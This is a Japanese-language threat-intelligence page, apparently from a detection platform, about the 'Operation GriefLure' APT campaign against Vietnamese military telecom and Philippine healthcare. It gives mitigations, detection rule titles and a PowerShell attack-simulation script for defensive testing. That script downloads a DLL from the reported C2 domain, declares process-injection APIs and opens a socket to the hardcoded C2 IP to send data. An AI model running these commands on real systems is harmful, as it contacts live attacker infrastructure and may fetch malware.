オペレーショングリーフルア: ベトナムの軍事電気通信およびフィリピンの医療を標的としたAPTキャンペーンの解析
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
Seqrite Labsは、二重圧縮されたRARアーカイブ内に隠された悪意のあるWindows LNKファイルに依存する標的型スピアフィッシングキャンペーンを特定しました。開くと、LNKはネイティブの ftp.exe ローダーを起動し、 sfsvc.exe と名付けられた多形ペイロードを断片化された .doc ファイルから復元しました。この活動は、ベトナム軍の所有する電気通信部門の上級幹部およびフィリピンの民間病院の職員を対象とし、信頼できるように見える文書を餌として使用しました。全感染チェーンは10秒未満で完了し、ディスク上に最小限のアーティファクトしか残しませんでした。
調査
調査はアーカイブ構造を分解し、LNK実行パスをマッピングし、カスタム sfsvc.exe ローダーをリバースエンジニアリングしました。これは regsvr32.exeに似せて設計されました。アナリストは、DLLサイドローディング、メモリ内シェルコード実行、プロセス注入、および偽装されたドメインを介したコマンドアンドコントロール通信を記録しました。アーティファクトのレビューにより、ハードコードされたC2ドメイン、 www.whatsappcenter.com, 香港のバレットプルーフプロバイダーを通じてホスティングされていることも判明しました。
緩和策
防御者は、メール添付ファイルを介して配信されるLNKファイルの実行をブロックし、ネイティブの ftp.exe での疑わしいコマンドライン引数の使用を監視する必要があります。エンドポイント検出は、ファイルレスDLLの読み込み、 C:UsersPublicUpdateでの代替データストリームの書き込み、および迅速な sfsvc.exeの作成に重点を置くべきです。また、組織は文書の出所チェックを強化し、合法的な法的または内部告発者関連のファイルに見せかけた餌についてユーザーを教育する必要があります。
対応
悪意のあるLNKまたは sfsvc.exe プロセスが検出された場合は、影響を受けたエンドポイントを直ちに隔離し、揮発性メモリを収集し、 360.*.dll ローダーファイルと代替データストリームアーティファクトを探します。特定されたコマンドアンドコントロールドメインと関連するIPアドレスをブロックし、データが流出したかどうかを確認するためのインシデントレスポンスを開始する必要があります。環境全体で類似のLNK駆動の ftp.exe ローダー活動を探すために、より広範なハントも行われるべきです。
攻撃フロー
検出
ダブル拡張子を持つ可能性のある悪意のあるLNKファイル(cmdline経由)
表示
珍しい拡張子を持つ可能性のあるFTPスクリプト実行(cmdline経由)
表示
公共ユーザープロファイルからの疑わしい実行(process_creation経由)
表示
代替リモートアクセス/管理ソフトウェア (process_creation経由)
表示
公共ユーザープロファイル内の疑わしいファイル (file_event経由)
表示
IOC(HashSha256)を検出する: Operation GriefLure – ベトナムの軍事通信およびフィリピンのヘルスケアを対象としたAPTキャンペーンを解剖
表示
IOC(SourceIP)を検出する: Operation GriefLure – ベトナムの軍事通信およびフィリピンのヘルスケアを対象としたAPTキャンペーンを解剖
表示
IOC(DestinationIP)を検出する: Operation GriefLure – ベトナムの軍事通信およびフィリピンのヘルスケアを対象としたAPTキャンペーンを解剖
表示
Operation GriefLure C2通信の検出 [Windowsネットワーク接続]
表示
Operation GriefLure活動の検出 [Windowsプロセス作成] ftp.exeおよびsfsvc.exeを使用
表示
シミュレーション実行
前提条件: テレメトリー&ベースラインプリフライトチェックに合格している必要があります。
理由: このセクションでは、検出ルールをトリガーするために設計された敵の技術(TTP)の正確な実行を詳述します。コマンドと説明は、特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。抽象的または無関係な例は誤診の原因となります。
-
攻撃の物語とコマンド:
アタッカーは、フィッシング添付ファイルを介して初期の足がかりを得た後(T1566.001, T1204.002)、 ランドオフで生活する アプローチを採用して実行可能なペイロードを避けます。組み込みのcmd.exe(T1059.003)を使用して、以下のステップを実行するPowerShellのワンライナーを起動します:- 発見 – システム情報(T1082)と実行中のプロセス(T1057)を列挙して、適切な注入ターゲットを決定します。
- 認証情報の収集 – ブラウザストア(T1555.003)を読み取り、認証情報ファイルを(T1552.001)ステージングフォルダにダンプします。
- ペイロードの取得 – C2ドメインから悪意のあるDLLをダウンロードする
www.whatsappcenter.comHTTPS経由(T1071.001, T1041). - プロセス注入 – DLLを
explorer.exe(T1055.001)に注入して永続性を得て特権を昇格させます。 - C2通信 – 永続的なTCP接続を
38.54.122.188(ハードコードされたIP)に開き、収集したデータの送信を開始します。
シグマルールを満たす重要なステップは、SysmonおよびWindowsファイアウォールによってログされる、正確なドメイン/IPへのアウトバウンド接続試行です。
-
回帰テストスクリプト:
# ------------------------------------------------- # GriefLure C2シミュレーション – PowerShellバージョン # ------------------------------------------------- # 1. システム発見 (T1082, T1057) Get-CimInstance -ClassName Win32_OperatingSystem | Out-Null Get-Process | Select-Object -First 5 | Out-Null # 2. 認証情報収集のシミュレーション (T1555.003, T1552.001) $credStaging = "$env:TEMPcreds.txt" "username=admin`npassword=P@ssw0rd!" | Set-Content -Path $credStaging # 3. ハードコードされたC2ドメインからの悪意のあるDLLのダウンロード (T1071.001, T1041) $c2Domain = "www.whatsappcenter.com" $c2Url = "https://$c2Domain/payload.dll" $dllPath = "$env:TEMPpayload.dll" Invoke-WebRequest -Uri $c2Url -OutFile $dllPath -UseBasicParsing # 4. DLLをexplorer.exeに注入 (T1055.001) $target = (Get-Process -Name explorer).Id $inject = @" using System; using System.Runtime.InteropServices; public class Injector { [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } "@ Add-Type $inject # (実際の注入手順は省略されています。実際のテストでは、上記のAPIを呼び出します。) # 5. ハードコードされたIPへの永続的C2ソケットのオープン (T1041) $c2Ip = "38.54.122.188" $port = 443 $client = New-Object System.Net.Sockets.TcpClient $client.Connect($c2Ip, $port) $stream = $client.GetStream() $payload = [System.Text.Encoding]::UTF8.GetBytes("EXFIL_START") $stream.Write($payload,0,$payload.Length) Start-Sleep -Seconds 5 $stream.Close() $client.Close() -
クリーンアップコマンド:
# ステージングされたファイルの削除 Remove-Item -Path "$env:TEMPcreds.txt" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPpayload.dll" -Force -ErrorAction SilentlyContinue # 残っているTCP接続の終了(まだ開いている場合) Get-NetTCPConnection -RemotePort 443 -RemoteAddress 38.54.122.188 | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # オプションとしてSysmonバッファのリセット(繰り返しテスト時のクリーンステート用) & "$env:ProgramFilesSysinternalsSysmon.exe" -c sysmon-config.xml